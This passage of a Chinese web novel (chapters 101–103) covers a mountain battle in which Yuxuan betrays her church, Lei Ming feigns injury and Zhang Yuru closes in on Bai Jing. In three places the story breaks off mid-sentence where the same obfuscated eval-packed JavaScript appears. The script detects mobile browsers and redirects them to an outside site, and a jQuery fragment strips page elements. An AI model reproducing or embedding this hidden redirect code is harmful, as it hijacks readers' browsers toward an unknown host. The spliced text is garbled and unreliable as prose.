冰狮仰天长啸,獠牙上的寒气让空气都泛起白雾,随后便如离弦之箭般扑向雷鸣,将他彻底逼入了冰崖的死角。 雷鸣背靠着冰冷的崖壁,看着步步紧逼的冰狮和雨萱,第一次对这个熟悉的对手产生了深深的无力感。 他的雷电在寒气中越来越弱,那些曾经让他引以为傲的速度与力量,此刻在雨萱密不透风的压制下,竟显得如此笨拙。 林逸惊得张大了嘴巴,怔怔望着眼前一片混乱的战局,一时间只觉得脑子里嗡嗡作响,有些发懵。 那具万年化身的异兽还在与张玉汝缠斗不休,冯难化身的炎狱巨兽也嘶吼着猛扑向战场,这两头凶悍的异兽显然是铁了心要护住白镜,攻势愈发凶狠。 可战场的另一边,同属自然教会的雷鸣与雨萱却已然大打出手,刺目的电光与凌厉的冰刃在半空交织碰撞,织成一片炫目的光幕,看得人眼花缭乱,根本分不清谁占了上风。 “还是异兽的心思来得单纯啊……”林逸下意识地喃喃自语,声音里带着几分茫然。 至少它们的目标自始至终都清晰明确,不像人类这般复杂难测——前一刻或许还能并肩作战、生死相托,下一刻就可能拔刀相向、反目成仇。 他这副呆头呆脑的愣神模样,恰好被不远处的丁璎珞看在眼里。 红裙女子轻摇折扇,伸出扇柄在林逸的额头上不轻不重地敲了一下,语气里满是恨铁不成钢的意味:“平时让你多看看书,长长见识,你偏不听,整天就知道举石头练那身蛮力,我看你的肌肉都长到脑子里去了,一点脑子都不动!” 林逸立刻像被踩了尾巴的猫似的炸毛,梗着脖子反驳道:“我怎么就肌肉长脑子里了?”他觉得自己看得明明白白,局势再清楚不过了。 “这么简单的局面都看不透彻,还敢说自己没把肌肉练到脑子里?”丁璎珞用折扇尖朝雪地上缠斗的两人指了指,语气带着几分不耐。 “那个雨萱说什么‘不让你的愚蠢毁掉生路’,你还真当她是菩萨心肠,一心为了大局着想?不过是找个由头拦着雷鸣罢了,也就骗骗你这种没脑子的愣头青。” 这话骂得又快又狠,不仅把林逸数落了一顿,连带着被雨萱压着打的雷鸣,也一并捎带进去损了几句。 雷鸣耳力敏锐,自然听到了这句嘲讽,可他此刻连分心皱眉的功夫都没有。 雨萱的冰链已经缠上了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067329|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的左腿,寒气顺着脚踝往上爬,冻得他小腿肌肉阵阵抽搐,只能拼尽全力调动雷电劈砍冰链,哪还有精力去找丁璎珞理论? 丁璎珞瞥了眼狼狈的雷鸣,嘴角勾起一抹冷笑。 她看得通透,雨萱哪有什么拯救众人的心思?白镜活着对谁最有利? 不管是谁,绝对不会是雨萱。 雨萱此刻拦着雷鸣,不让他救走白镜,分明是不想让白镜有机会恢复战力,至于那些冠冕堂皇的理由,不过是演给外人看的戏码。 “你看,雷鸣都没空理你,说明人家至少比你清醒点,知道现在该干什么。”丁璎珞用折扇戳了戳林逸的胳膊。 “雨萱要的从来不是什么生路,是要让白镜就这样死在那里。” “等白镜一死,张玉汝和那两头异兽两败俱伤,她再坐收渔利——这才是她的算盘。” 林逸听得一愣一愣的,再看向雨萱时,果然发现她的攻击虽猛,却总在刻意避开雷鸣的要害,更像是在拖延时间。 而远处的白镜,依旧躺在雪地里,胸口微弱的起伏证明他还活着,却没人再敢靠近。 张玉汝与两头巨兽的战斗已蔓延到那片区域,冰崖崩塌的碎石正不断砸向白镜周围,眼看就要将他彻底掩埋。 “那……那我们现在怎么办?” 林逸挠了挠头,第一次觉得自己的拳头在这种局面里,好像真没什么用。 丁璎珞眯起眼睛,看着战场中心那道被两头巨兽**却依旧挺拔的身影,轻声道:“怎么办?看戏。” “看看这位狠人,能不能破了这局。” 雷鸣正被雨萱死死压制,张玉汝则陷入两头巨兽的**之中难以脱身,放眼整个战场,此刻唯有天道教的两人还能保持着置身事外的状态。 他们无疑是足以左右战局天平的关键力量,然而丁璎珞却选择了作壁上观,始终按兵不动。 她先前跟林逸说的那番分析,说到底不过是些随口编造的鬼扯罢了。 雨萱身上的疑点其实多得很,绝非三言两语就能解释清楚的。 就拿她的能力来说,明明是专精水流类能力的强者,为何却能将寒冰类的能量运用得如此得心应手、挥洒自如? 要知道,这两类能量即便存在着某些相似之处,在诸多关键的核心层面上,依旧有着泾渭分明的显著区别。 联想到白镜正是依靠玄霜云珀才获取到了寒冰类能力,那么之前长期持有玄霜云珀的雨萱,难道就真的能从中毫无所获,一点好处都没得到吗? 看看她那如同指挥自己手臂一般运转自如的寒冰类能力,再看看她此刻展现出的、足以轻松压制雷鸣的强大战力,答案其实早已不言而喻。 丁璎珞心中百分之百地确定,雨萱的身上一定藏着什么不为人知的秘密。 作为目前战场上唯一还拥有选择站队权利的一方,丁璎珞自然不着急贸然下场。 继续再等一等,虽说未必是能带来最优结果的选择,但却是眼下这个局面里,所有人都能够勉强接受的结果。 第 101章 不装了,彻底反水 张玉汝现在遇到了一个问题。 在和巨兽战斗的时候,他的种种能力无法对对方起到太好的效果。 脚下的大地还在因巨兽的每一次踩踏而震颤,空气中弥漫着巨兽体表散发出的腥热气息,他的手心已沁出细汗,目光紧盯着眼前那两座移动的“山峦”。 就在刚才的交锋中,他清晰地察觉到,自己赖以克敌的那些能力,在面对这两头庞然大物时,效果远不如往常那般显著。 尤其是「枯荣」与「天人五衰」这两招极具杀伤力的招式,明明具备足以让寻常能量者瞬间毙命的恐怖杀伤力,此刻却像拳头打在了棉花上。 这并非是说这两招的威力打了折扣——张玉汝能清晰地感知到,当能量顺着招式倾泻而出时,那股足以撕裂生命力的锋芒丝毫未减,真正的症结出在作用范围上。 「枯荣」与「天人五衰」都具备着直接杀伤对方生命力的效果,其消耗的能量堪称天文数字。 每一次催动,张玉汝都能感觉到体内的能量如同开闸的洪水般汹涌流逝,可与之相对的,是这两招固有的作用范围的限制。 就像一张精心编织的网,网眼再密,也兜不住比网面大上数十倍的猎物。 「天人五衰」算是其中覆盖范围较广的,在对付人类或是体型相当的异兽时,它能如影随形般包裹住目标的整个躯体,让对方从毛发到骨骼都被那股衰败之力渗透。 而「枯荣」则更偏向于定点打击,多数时候会被他精准地锁在目标的要害器官上,比如心脏或是中枢神经,只需一瞬就能让对手失去战斗力。 这一次,情况却截然不同。当张玉汝的招式落在两头巨兽身上时,他能清晰地感受到能量与巨兽躯体碰撞的瞬间——那股足以让十数头寻常异兽当场毙命的破坏力,在巨兽身上爆发时,甚至没能让它们发出一声痛呼。 并非杀伤力减弱了,恰恰相反,或许是巨兽的生命力更为旺盛,这两招的破坏效果反而比平时更强了几分,可巨兽那堪比房屋的庞大身躯,却给了它们近乎无限的战略纵深。 简单来说,张玉汝的招式起不到太大的作用并不是因为招式质量的问题,而是因为数量的问题。 就拿刚才那记「天人五衰」来说,淡灰色的能量波顺着巨兽的前肢蔓延开,所过之处,厚实的鳞片瞬间失去光泽,肌肉纤维以肉眼可见的速度干瘪下去。 可当能量耗尽时,那片受损的区域也不过只有一张圆桌大小,对于长达十数米的巨兽而言,这点损伤就像人被蚊虫叮了一口。 至于瞄准巨兽腹腔打出的「枯荣」,虽然精准命中了一片内脏区域,可在那层层叠叠的肌肉与骨骼保护下,毁掉的不过是极小一块组织,连让巨兽放慢动作的效果都没能达到。 张玉汝望着巨兽甩了甩脖颈,将刚才受创的部位轻易忽略,继续咆哮着向他扑来,心中泛起一阵无奈。 他很清楚,自己的能力就算能在瞬间抹去数十人的生命,换算到这两头巨兽身上,也不过是蹭掉了层皮。 那些足以让对手绝望的杀招,此刻竟成了挠痒痒般的试探,这种落差让他第一次在战斗中感到了棘手。 张玉汝有没有能力做到让招式覆盖对方的全身上下呢?如果不计消耗的话,他是可以做到的,但是他又不可能不计算能量的消耗。 张玉汝渐渐发现,不止「枯荣」和「天人五衰」,他掌握的其他招式在面对这两头巨兽时,同样陷入了束手束脚的困境。 这背后的道理其实并不复杂,就像用相同的工具去搬运石块与羽毛,付出的力气必然天差地别。 当一项能力作用在不同体量的对手身上时,所需消耗的成本往往会呈现出惊人的差距,此刻的战局正是这句话最鲜活的注脚。 无论是能扭转攻防态势的「颠倒」,还是能够推进对方发展阶段的「刹那芳华」,亦或是可以延缓一切变化速度的「颠倒世界」。 这些曾让无数对手闻风丧胆的能力,究其本质都是通过精妙的能量操控,去改变目标的某种固有状态。可当目标换成眼前这两头山岳般的巨兽时,一切都变了味。 巨兽那庞大的躯体里仿佛蕴藏着一片能量海洋,每一寸肌肉纤维都像是用钢铁浇筑而成,它们先天便积攒下远超寻常生物的质量。 张玉汝曾在心中暗自估算,想要用「颠倒」扭转一头巨兽的攻击轨迹,所需的能量至少是对付人类强者时的百倍以上——这还只是最保守的估计。 至于「颠倒世界」,那种能让方圆数十米产生错乱的招式,落在巨兽身上,顶多只能让它们晃一晃脑袋,仿佛只是被一阵微风吹过,连脚步都不会有丝毫停顿。 这便是同级别的异兽相较于人类能力者最显著的优势之一,它们那看似粗糙的表皮下,藏着的是全方位的防御壁垒。 厚实的脂肪层如同天然的缓冲垫,坚韧的骨骼堪比合金,就连血液流动的速度都带着一股蛮横的力量,仿佛天生就是为了对抗各种能力而存在。 更让张玉汝感到棘手的是,就连那些作用于自身的能力,在这场战斗中也显得力不从心。 他最常用来提升战力的「刹那」便是如此,这招能让他在瞬间突破肉体极限,爆发出远超平时的速度与力量,拳头挥出时甚至能够做到破碎空间。 可当这样的拳头落在巨兽身上时,效果却大打折扣。 张玉汝的重拳若是打实了,足以直接将白镜的脑袋打开花。 可现在,当拳头带着同样的力道砸在巨兽的前肢上时,只发出沉闷的“咚”声,巨兽顶多晃了晃爪子,喉咙里发出一声不耐烦的低吼,像是在驱赶一只烦人的苍蝇。 那层覆盖在体表的鳞片甚至连一丝裂痕都没有,唯有拳头上传来的震麻感在提醒张玉汝,眼前的对手与以往截然不同。 除了少部分特殊的存在之外,绝大多数异兽都遵循着一个简单的生存法则——大就是美,大就是好。 那些身躯庞大的存在,仿佛天生就站在食物链的上游,用绝对的体量碾压一切技巧。 而冯难与万年所展现出的巨兽形态,更是将这一点推向了极致。 它们每一次摆头甩尾,都能够做到真正的山崩地裂,张玉汝虽然不惧,可一时半会儿也确实拿不下对方。 那么,张玉汝对于这两头庞然巨兽而言,就真的如同蝼蚁般毫无威胁吗?答案显然是否定的。 张玉汝身怀的「造化之眼」与「加速世界」正成为他破局的关键。 当「造化之眼」睁开时,黑白二色的流光在他眼底流转,周遭的一切都仿佛被拆解成了最细微的线条与节点,巨兽体表每一寸鳞片的开合、肌肉的收缩舒张,甚至是体内能量流转的轨迹,都无所遁形。 而「加速世界」则能让他在脑海中以数倍于现实的速度推演战局,那些在常人眼中转瞬即逝的动作,在他看来都像是被放慢了无数倍。 凭借着这两项能力,张玉汝总能在电光火石间捕捉到巨兽的破绽。 要知道,身躯越是庞大,结构便越是复杂,暴露在外的破绽也自然更多。 就像一座巨大的城堡,墙面再坚固,也难免会有砖石松动的缝隙,或是城门与墙体衔接的薄弱之处。 这两头巨兽亦是如此,它们粗壮的关节在转动时会露出短暂的防御空档,呼吸时胸腔起伏的瞬间会让某块鳞片微微翘起,甚至在转身的刹那,脖颈后方那片相对柔软的皮肤会短暂暴露——这些细微的破绽,都逃不过张玉汝的双眼。 虽然庞大的体型给了它们极高的容错空间,哪怕被张玉汝抓住一两次机会,受些皮肉伤也无关痛痒,可再高的容错空间也经不住持续的消耗。 就像一个装满水的木桶,偶尔漏一两滴或许影响不大,但如果一直有漏洞在不断渗水,总有见底的那一刻。 战斗持续了一段时间后,这样的场景开始频繁上演。 每当巨兽扬起巨爪拍来,张玉汝总能借着「加速世界」预判出轨迹,灵巧地侧身避开,同时目光锁定在巨爪收回时关节转动的破绽,手中凝聚的能量瞬间爆发,精准地轰击在那处防御薄弱点。 当巨兽低下头想要用利齿撕咬,他便会瞅准其咽喉处鳞片的间隙,以快到极致的速度突进,留下一道深可见骨的伤口。就这样,他一次又一次地抓住机会,给予巨兽沉重的打击。 所以,在最初那波**般的爆发没能将张玉汝彻底碾碎后,这两头巨兽的气势便如同退潮般一点点回落,其实是一直在走下坡路。 它们的动作渐渐变得有些迟缓,呼吸也愈发粗重,身上的伤口在不断增加,虽然每一处都不足以致命,却在持续消耗着它们的体力与生命力。 只是,这场拉锯战究竟要持续多久才能迎来终局,谁也无法给出确切的答案。 或许是下一次重击就能让巨兽轰然倒地,又或许还需要数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067330|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十次、上百次的消耗,一切都充满了未知。 但就当前的局势来看,时间显然站在了张玉汝的对立面,并非他的朋友。 凉风之山那处通道的能量波动正变得越来越强烈,空气中属于自然教会的气息也越来越浓郁,谁都能感觉到,那扇通往雪域高原的大门正在一点点被推开。 一旦通道彻底打开,自然教会的力量将如潮水般涌来,张玉汝届时别说继续战斗,恐怕连想要全身而退都难如登天,更别提在那种情况下找到并解决掉白镜了。 场中局势的走向如同摊开的画卷,每一处细节都清晰地呈现在在场众人眼中,未来的脉络已然隐约可见。 丁璎珞望着远处持续胶着的战场,眉头微蹙,语气里带着几分难以掩饰的遗憾开口说道:“看来接下来的战况不会有太大的起伏了,我们可以准备出手了。” 她的话音刚落,一旁的林逸便下意识地追问:“对谁出手?”脸上满是不解,显然还没完全理清眼下的局势。 “谁赢我们帮谁。”丁璎珞的声音平静无波。 或许是之前林逸偶尔的反应让她有了足够的心理准备,此刻面对这个略显直白的问题,她很好地克制住了自己的情绪,没有流露出丝毫不耐。 这其中的门道其实再明白不过。锦上添花固然远不如雪中送炭来得让人记挂,得不到那份能让对方铭感五内的人情,但胜在稳妥——在局势明朗时顺势推一把,出错的概率微乎其微,几乎不会给自己招来额外的风险。 可雪中送炭就不同了,在胜负未分时贸然站队,稍有不慎就可能押错宝,非但捞不到好处,反而会被卷入失败者的泥潭,引火烧身,让自己陷入万劫不复的境地。 对于丁璎珞而言,这样的抉择并不算艰难。在风险与收益之间,她显然更倾向于选择前者可控的选项。 只是她心里也清楚,一旦自己和林逸真的加入战局,朝着那个占据上风的一方出手,那么原本还存在着些许变数的结局,或许就会被彻底钉死。 那些潜藏的、可能改变局势的微小契机,将在他们的介入下烟消云散,未来的走向便只剩下一条清晰而固定的路了。 就在丁璎珞和林逸还在权衡利弊的当口,另一侧雨萱与雷鸣的战场突然传来了令人心惊的变故。 只听“噗嗤”几声密集的锐响接连炸响,二十七道闪烁着森寒白光的冰刃如同出膛的利箭,精准无误地穿透了雷鸣的身躯。 那些冰刃仿佛带着某种特殊的力量,不仅在他身上撕开了一道道深可见骨的伤口,让鲜血瞬间染红了衣衫,更在穿透的刹那凝结成坚硬的冰棱,如同锁链般死死嵌在他的血肉之中,将他的四肢与躯干牢牢锁死。 雷鸣闷哼一声,身体剧烈地颤抖着,原本还在挥舞的武器无力地垂落,显然已经失去了行动能力,只能眼睁睁看着雨萱的身影从眼前掠过。 解决掉雷鸣的雨萱没有丝毫停留,身影如同鬼魅般几个起落,便瞬间插入了张玉汝与两头巨兽的缠斗之中。 她抬手对着两头巨兽的方向轻轻一挥,口中念念有词,一股刺骨的寒风骤然凭空生出,紧接着便是漫天飞舞的雪花与冰粒汇聚成呼啸的暴风雪。 那暴风雪来得又快又猛,如同一道无形的墙横亘在两头巨兽面前,冰冷的寒气让它们厚实的鳞片上瞬间凝结出一层白霜,动作也不由得一滞,暂时被拦在了原地。 “你去干掉白镜,我替你拦着它们。”雨萱的声音清亮而急促,带着不容置疑的决绝,一边说着,一边双手快速结印,继续催动着暴风雪,不让巨兽有冲破阻碍的机会。 张玉汝心中瞬间涌起无数疑问:雨萱为何突然出手相助?她之前的立场明明一直模糊不清,甚至透着几分可疑,此刻却为何如此干脆? 但眼下的局势容不得他细想,两头巨兽的咆哮声已经越来越近,暴风雪的阻拦显然撑不了太久。 他看了一眼雨萱紧绷的侧脸,没有任何废话,体内的能量骤然爆发,整个人化作一道耀眼的流光,破开风雪,径直向着白镜所在的方向疾射而去。 谁都看得出来,随着凉风之山通道的能量波动越来越强烈,局势正在进一步恶化。 而在这样的关头,原本就行为诡异、处处透着可疑的雨萱,索性连最后一点伪装都撕了下来。 她刚才那一系列行云流水的动作,哪里是什么临时倒戈,分明是蓄谋已久的跳反。 第 102章 决意 在场众人虽早从雨萱近期的言行举止中嗅到几分不寻常,刻意掩饰的实力、令人疑惑的举动,都在无声地昭示着她心中藏着秘密。 可当她骤然卸下所有温婉面具,眼底翻涌的寒意如淬毒利刃般刺破伪装,毫不顾忌地撕破脸皮的刹那,众人心中还是掀起了一阵难以抑制的骚动。 此时的凉风之山正处在风云变幻的临界点。 山间的能量流动愈发湍急,原本模糊的空间壁垒泛起涟漪,如同被投入石子的湖面,那些细微的裂纹正以肉眼可见的速度蔓延。 通往外界的通道已如薄冰般脆弱,随时可能彻底崩裂,将这座与世隔绝的秘境重新抛入尘世的洪流。 这种微妙的平衡里,任何一点异动都可能引发难以预料的连锁反应,就像在紧绷的弓弦上额外添了一分力道。 偏偏在这样的节骨眼上,雨萱选择了最激烈的方式跳反。 要知道,只要通道彻底开启,自然教会的先锋队必然会第一时间踏足此地。 以他们的实力,足以将影响力渗透到凉风之山的每一寸土地,成为这里无可争议的主宰。 雨萱只要继续扮演好她温顺恭谨的角色,哪怕暗中布下再多棋子,只要表面维持着与教会的和睦,她背后的派系看在往日情分与未来合作的考量上,定会在教会问责时出面斡旋。 可她此刻的所作所为,却像是完全摒弃了所有退路。那双曾经含着笑意的眼眸此刻只剩下冰冷的决绝,每一个动作都带着玉石俱焚的狠戾。 这种突兀的转变,根本找不到合理的解释。 若雨萱没有足以颠覆全局的依仗,此刻的行为便与疯癫无异。 自然教会在凉风之山经营百年,布下的结界如天罗地网,高阶能力者更是隐藏在暗处随时待命。 在这样的主场之上,背叛教会无异于自寻死路。 雷鸣望着场中对峙的身影,眉头拧成了死结。 他指尖无意识地摩挲着腰间的青铜令牌,令牌上镌刻的雷纹仿佛也在随着他的思绪震颤。 究竟是什么样的底牌,能让一个人有恃无恐到这种地步?是掌握了足以威胁教会的秘辛?还是与某个隐世势力达成了交易? 又或者,她手中藏着能瞬间逆转战局的上古神器?无数猜测在脑海中盘旋碰撞,却始终找不到能串联起所有疑点的线索,就像面对一团被浓雾包裹的迷局,越想看清,反而越觉混沌。 对于未知的事物,雷鸣向来怀有一种近乎本能的敬畏。 在他看来,天地之大,藏着太多超乎想象的存在,那些潜藏在暗处的力量,往往能在不经意间掀起波澜。 正因如此,面对雨萱此刻反常的举动,他心中的谨慎早已压过了一时的愤懑。 若是雨萱真有什么深埋不露的依仗——或许是某种失传的秘术,或许是与某个隐世大能达成了契约,甚至可能握有足以颠覆局面的秘宝——那自己此刻执意与她纠缠,无疑是在拿性命做一场胜算渺茫的豪赌。 这种明知山有虎、偏向虎山行的莽撞,从来不在他的行事准则之内。 而退一步讲,倘若雨萱纯粹是被什么冲昏了头脑,成了个失去理智的疯子,那他就更没有必要在这上面耗费心神了。 与疯子缠斗,赢了也落不到半分好处,反而可能被对方拖入无意义的泥沼,平白折损自身实力。这种得不偿失的买卖,雷鸣是断然不会做的。 所以,在被雨萱重创之后,尽管雷鸣怀中揣着一枚秘制的“复苏丹”——只需将丹药含在舌下,一盏茶功夫便能修复大半伤势,让他重新恢复战斗力——但他却只是捂着渗血的胸口,缓缓后退了两步,并没有动用这枚珍贵的丹药。 说句实在话,先前出手阻拦雨萱、救下白镜,本就不在他的计划之内。 他要救的,从来都不是白镜这个人,不过是借着这个机会,不动声色地刷取一些必要的好感度罢了。 如今既已出手,挡下了那致命一击,自己又“恰好”身负重伤,在外人看来,已是仁至义尽。 雷鸣觉得,该做的铺垫已经做得足够周全,实在没必要再留在这里,为了一个无关紧要的人拼上性命。 他目光扫过场中,见雨萱的注意力似乎转向了别处,便顺势踉跄了一下,借着伤势“虚弱”地靠在一棵古树上,冷眼旁观起接下来的变数。 不得不说,雷鸣在此时此刻做出的这个选择,实在称得上是一番极为明智的举措。 以他当下这般窘迫的状态来看,无论从实打实的实力比拼、战场上那股慑人的气势较量,还是眼前这错综复杂的局势层面去考量,他都绝非雨萱的对手,这已是众人有目共睹、无从辩驳的事实。 随着雨萱这骤然间的反水之举,先前那些一直盘桓在众人心中的重重疑团,也终于像是被拨开了层层迷雾一般,露出了清晰无比的答案,让人豁然开朗。 就好比,明明手握玄霜云珀这等世间罕见至宝的白镜,为何会在那场对战之中,打出那般堪称是史上最弱宗师的耻辱战绩? 此刻细细思索起来,其中的缘由便显得一目了然了——白镜刚刚突破境界、根基尚且未能稳固的脆弱状态,张玉汝在战场上身手远超平日的神勇表现,再加上雨萱在暗中于玄霜云珀上动的那些不为人知的手脚,这三个看似相互独立的条件相互交织、层层叠加,最终共同造就了那样一个出人意料的结果。 显而易见的是,在雨萱持有玄霜云珀的那段漫长时间里,她定然在暗中做了不少不为人知的操作,而那些隐秘至极的操作,直到此刻才随着她的反水,一点点逐渐显露出冰山一角,让人窥见其中的复杂与诡谲。 而在此之前,她凭借着那精湛到无可挑剔的演技,将在场的所有人都蒙在了鼓里,没有任何一个人能够察觉到她那副伪装之下的真实意图,着实令人咋舌。 不过,这些过往的种种纠葛与深藏的隐情,在此时此刻,都已经算不上是最为重要的事情了。 至少对于张玉汝来说,这些纷纷扰扰的前因后果,都显得那般无关紧要,无法牵动他的心神。 他的目光穿透了漫天飞舞、洋洋洒洒的大雪,牢牢地锁定在不远处的白镜身上,眼神中带着坚定。 此刻的白镜,经过了短暂时间的调息打坐,已然恢复了不少的元气,身上的气息虽然仍旧有些虚浮不稳,却已经不再是之前那般狼狈不堪的模样了。 作为身负「造化之眼」这等世间罕见能力的强者,凉风之山每一丝细微到极致的空间波动,都无法逃过他敏锐的洞察。 他清晰地感知到,那道连接着凉风之山与外界的空间通道,其上的能量波动正变得越来越剧烈,仿佛下一秒就随时都有可能彻底开启,打通两个世界的连接。 这也就意味着,白镜随时都可能等到来自外界的救援,尤其是自然教会那边的支援力量,更是让人心头一紧。 一旦自然教会的人赶到此地,并出手进行干预,以张玉汝目前所处的艰难处境来看,恐怕连全身而退都难以做到,更别说是亲手了结白镜、了却自己心中那股积压已久的执念了。 所以,眼下这转瞬即逝、稍纵即逝的片刻时光,便是他唯一能够抓住的机会——一个杀掉白镜,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067331|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏侯月报仇雪恨的最后机会,他无论如何也不能错过。 —————————————————————————————— 凉风之山的山巅被浓得化不开的云雾笼罩,呼啸的寒风卷着碎雪,像无数柄淬了冰的刀锋,狠狠割裂着稀薄的空气,发出呜咽般的锐响。 张玉汝终究还是再次寻到了白镜——那个无数次在他梦魇中盘旋、让他午夜惊醒的家伙。 此刻的白镜斜倚在嶙峋的崖石旁,青石的棱角硌着他的脊背,虽已比先前褪去了几分狼狈,可眼底那层化不开的倦色,仍像积了许久的阴云般沉沉压着,未曾散去分毫。 他闭目凝神,长长的睫毛在眼下投出浅淡的阴影,看似正屏气吞吐着周遭的能量,一点点修复受损的身体。 可那缕若有若无的微弱生机,根本无法削减半分张玉汝眼底那经岁月淬炼、早已凝成实质的杀意。 张玉汝的靴底碾过脚下嶙峋的山石,每一次粗糙的摩擦都溅起细碎的岩砾,那些碎石子滚落的声响,在这片死寂的空间里荡开异常清晰的回响。 那声音不疾不徐,却像一柄悬在喉头的利刃,随着他步步逼近的身影,渐渐凝成死神手中缓缓转动的秒针,每一声轻响都精准地敲在人心尖上,带着令人窒息的压迫感。 他的脊梁挺得笔直,仿佛一柄久未出鞘的古剑,即便剑鞘上覆着厚厚的尘埃,也难掩那藏在筋骨里的锋锐骨相,透着一股宁折不弯的倔强。 掌心之下,墨色的能量正顺着经脉缓缓流转,在皮肉间织出细密如蛛网的纹路——那纹路时而明灭闪烁,时而扭曲蠕动,凝神细看,竟像是无数条首尾相接的小蛇,正随着他平稳的呼吸吞吐着幽幽的暗光,透着几分诡异与森然。 倏然间,张玉汝手腕轻扬,千万缕墨色能量如挣脱缰绳的野马般奔涌而出,在空中疯狂交织、层层缠绕、迅速编织,转瞬间便化作一张遮天蔽日的大网,将整个山巅都笼罩其中。 网眼细密如筛,连最细微的尘埃都难以穿透,边缘却泛着蚀骨的寒意,将方圆数公里的天地牢牢罩住,凛冽的寒风被硬生生挡在了网外,只余下凝滞的空气在网内无声翻涌,压抑得让人喘不过气。 白镜立在网中,早已感知到这突如其来的禁锢。换作往日全盛之时,他只需指尖轻捻,便能轻易撕开一道虚空裂隙,在光影交错间消失无踪,根本不会给对手逼近的机会。 可此刻,他却像崖边饱经风霜的枯松般静立着,连发丝都未曾颤动分毫,仿佛早已接受了这既定的局面。是他终于决意不再逃避,要与张玉汝彻底了却这场纠缠许久的仇怨吗? 答案藏在这凝滞的时空中——并非如此。 张玉汝掌心的纹路仍在不停流转,那是他独有的、名为「永恒」的力量。 这股力量并非依靠蛮力压制,而是以自身道途为引,冻结了周遭所有的变化与流动。 悬浮的岩砾停在半空,欲落的冰雪再次凝结,甚至连光线都被钉在了既定的轨迹上,成了一道道凝固的银线,将时间的脚步都暂时锁死。 整个世界里,唯有他与白镜的本体还能自如行动,其余一切都陷入了亘古般的静止,仿佛一幅被定格的画卷。 这哪里是什么简单的禁锢,分明是张玉汝用自己的能量筑起的生死擂台,一场不死不休的对决即将在此展开。 今日此地,要么他踏着白镜的尸骨走出这片空间,要么便让自己的血,染红这张亲手编织的墨色大网。 唯有生死落定的那一刻,这被「永恒」能量锁住的天地,才会重新迎来新的变化与流动。 第 103章 如山如海 寒风卷着雪沫子在雪峰间呼啸,冰棱悬在陡峭的崖壁上,折射着惨白的天光。 白镜悬浮在覆雪的山脊上空,周身镜面泛着冷光,与脚下连绵的雪山融为一体,却又透着股不属于这片冰封天地的锐利。 对面,张玉汝静立在一块平整的冰岩上。玄色衣袍在风雪中微微起伏,身姿挺拔如孤峰,侧脸线条冷硬,目光扫过白镜时,像在看一粒被风卷来的雪籽。 感受着张玉汝那轻蔑的目光,白镜心中大怒。 “找死。”白镜话音未落,身侧镜面陡然翻转,凝滞的空气突然震颤,他那垂在身侧的手指骤然勾起。 数道银亮的镜面突兀地从虚空浮现,边缘泛着冷冽的光,如同悬在张玉汝周身的月牙刃。 镜面转动间,幽蓝的光线在镜心凝聚,下一秒便化作数道锋利的光刃,带着撕裂空气的尖啸射向张玉汝——那光线足以将数丈厚的岩壁熔穿,此刻却连张玉汝的衣袂都未能掀动。 在触及张玉汝身前时,它们却被一层若隐若现的黑白流光拦住——黑色如墨,吞噬着光线的热度;白色似玉,将余下的锋芒悄然消解。光线湮灭的瞬间,那层流光轻轻波动,像湖面拂过一阵微风。 张玉汝抬手掸了掸肩头落雪,指尖划过的轨迹上,有黑白二色的微光一闪而逝。 白镜瞳孔微缩,指尖猛地合拢。 周遭的镜面骤然增多,数十面镜子以张玉汝为中心组成旋转的矩阵,镜与镜之间的光线相互折射、叠加,转眼间便汇成一道直径丈余的光柱。 光柱核心翻涌着刺目的白光,温度高得让网内的空气都开始扭曲,连凝结的银线般的光线都被这股热浪烤得微微颤抖。 冰峰的倒影在镜中扭曲,随即无数道光线从矩阵中迸发,在雪地里折射、汇聚,最终凝成一道比冰棱更刺眼的巨型光柱,带着撕裂风雪的轰鸣砸向张玉汝。 这一次,张玉汝身前的黑白流光凝得更实了。 黑色如厚重的墨砚,稳稳托住光柱的底部;白色似流动的玉髓,顺着光柱向上漫延,所过之处,光柱的炽烈竟一点点褪去,最后在他掌心三寸处彻底消散。 他收回手时,黑白二色的能量像呼吸般轻轻起伏,连指尖都没沾染上半分灼痕。 “你就只有这点本事吗。”张玉汝开口,声音裹着风雪的冷意,却比冰岩更沉稳。 白镜脸色发青,猛地祭出碎空镜。 破碎成锯齿状的镜面在风雪中展开,镜内流转着扭曲的灰光,随即是狂暴的空间风暴从镜中涌出——风雪被卷入其中,凝成旋转的雪涡;冰岩被撕裂,碎块在风暴中化为齑粉;连空气都被搅得发出哀鸣,仿佛整片雪山都要被这风暴掀翻。 风暴卷着雪与冰,咆哮着扑向张玉汝。他却只是微微侧身,周身黑白能量骤然扩散,形成一道半透明的屏障。 